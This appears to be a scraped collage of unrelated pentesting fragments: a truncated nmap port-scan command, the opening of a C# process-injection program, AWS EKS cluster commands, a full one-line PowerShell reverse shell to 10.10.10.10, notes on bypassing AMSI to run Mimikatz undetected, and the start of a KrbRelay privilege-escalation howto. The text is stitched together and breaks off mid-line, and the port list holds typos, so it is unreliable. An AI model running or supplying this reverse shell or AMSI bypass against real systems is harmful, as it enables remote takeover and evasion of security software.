Pentesting-Exploitation Programs and Commands , Protocols Network / Ports
| sudo nmap -sS -p 21,22,23,25,53,69,80,81,88,102,110,111,137,139,143,389,427,443,445,464,465,475,476,500,512,513,514,515,541,587,593,636,717,800,801,808,890,902,993,995,1080,1090,1091,1098,1099,1100,1128,1129,1150,1194,1433,1434,1444,1460,1461,1462,1521,1688,1801,1840,1993,1995,2000,2030,2049,2103,2105,2107,2222,2300,2382,2383,2483,2484,2500,2525,3009,3011,3200,3202,3204,3203,3269,3299,3300,3302,3303,3304,3306,3343,3389,3392,3395,3396,3471,3472,3473,6553,3602,3801,3803,3823,3828,3843,3863,3867,3875,4000,4200,4222,4369,4447,4786,4800,4804,4848,5000,5001,5005,5013,5022,5023,5060,5061,5081,5150,5432,5500,5501,5504,5550,5555,5580,5600,5601,5672,5700,5900,5986,6000,6001,6006,6007,6008,6029,6044,6057,6071,6076,6083,6099,6113,6129,6160,6162,6379,6400,6401,6402,6501,7000,7008,7022,7067,7070,7072,7095,7181,7274,7311,7319,7320,7431,7435.7443,7548,8000,8001,8002,8003,8007,8009.8010,8012,8016,8017,8019,8041,8043,8080,8092,8100,8101,8111,8116,8117,8201,8207,8211,8243,8443,8445,8686,8834,8991,8999,9000,9001,9002,9005,9007,9 |
| using System; | |
| using System.Diagnostics; | |
| using System.IO; | |
| using System.Runtime.InteropServices; | |
| namespace DinjectorWithQUserAPC | |
| { | |
| public class Program |
curl -s https://docs.aws.amazon.com/eks/latest/userguide/doc-history.rss | grep "<title>Kubernetes version"
eksctl create cluster --version=1.14 --name suhas-eks-test --region us-east-1 --zones us-east-1a,us-east-1b --node-type t2.medium --nodes 2 --ssh-access=true --ssh-public-key basarkod-test
eksctl create cluster --without-nodegroup --version=1.14 --name delete-me --vpc-public-subnets=subnet-123,subnet-456
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI
However some methods may be detected by the AV but most of them actually work without problem
The first and worst way to bypass AMSI is downgrading powershell version to 2.0.
Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.
No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.
Prerequisites:
- LDAP signing not required on Domain Controller (default!)